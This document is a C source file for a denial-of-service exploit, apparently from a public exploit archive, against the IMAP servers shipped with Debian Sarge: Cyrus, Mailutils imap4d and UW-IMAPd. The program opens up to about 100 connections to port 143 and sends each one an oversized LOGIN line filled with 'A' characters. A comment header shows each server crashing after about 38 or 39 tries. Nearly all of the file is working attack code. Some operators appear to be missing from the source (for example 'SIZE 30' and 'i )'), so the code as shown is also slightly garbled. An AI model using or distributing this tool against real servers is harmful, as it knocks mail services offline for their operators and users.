Debian Sarge Multiple IMAP Server Denial of Service Exploit

/*
    Debian Sarge Multiple IMAP Server DoS (debianimapers.c)
    Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]
    Testing Cyrus IMAPd:
    bash$ ./debianimapers 192.168.0.189
    .....
    39 tries and imapd goes down! Mission Complete!
    Testing Mailutil's IMAP4d:
    bash$ ./debianimapers 192.168.0.189
    .....
    38 tries and imapd goes down! Mission Complete!
    Testing UW-IMAPd:
    bash$ ./debianimapers 192.168.0.189
    .....
    39 tries and imapd goes down! Mission Complete!
    bash$
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #define COUNT 100
    #define SIZE 100000
    char imaplogin[] = "A0001 LOGIN";
    int main(int argc, char *argv[])
    {
     char buffer[SIZE], imapped[SIZE 30];
     int i, port = 143;
     memset(buffer, 0x41, sizeof(buffer));
     memset(imapped, 0, sizeof(imapped));
     snprintf(imapped, sizeof(imapped)-1, "%s %s %s\r\n\r\n", imaplogin, buffer, buffer);
    
    if(argc < 2)
    {
     printf("\nDebian Sarge Multiple IMAP Server DoS");
     printf("\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]\n");
     printf("\nUsage %s <host>\n\n", argv[0]);
    return 0;
    }
     printf("\nDebian Sarge Multiple IMAP Server DoS");
     printf("\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]\n");
     int sock;
     struct sockaddr_in remote;
     remote.sin_family = AF_INET;
     remote.sin_port = htons(port);
     remote.sin_addr.s_addr = inet_addr(argv[1]);
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; }
    if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("Error: connect(%s:%d)\n", argv[1], port); return -1; }
     close(sock);
     printf("\nUsually takes ~1-2 minutes, LAN/Internet and connection speed will make time vary...\n");
    for(i = 0; i <= COUNT; i )
    {
     struct sockaddr_in remote;
     remote.sin_family = AF_INET;
     remote.sin_port = htons(port);
     remote.sin_addr.s_addr = inet_addr(argv[1]);
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; }
    sleep(1);
    if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("\n%d tries and imapd goes down! Mission Complete!\n\n", i); return -1; }
     int len = sizeof(imapped);
     send(sock, imapped, len, 0);
     close(sock);
    }
    return 0;
    }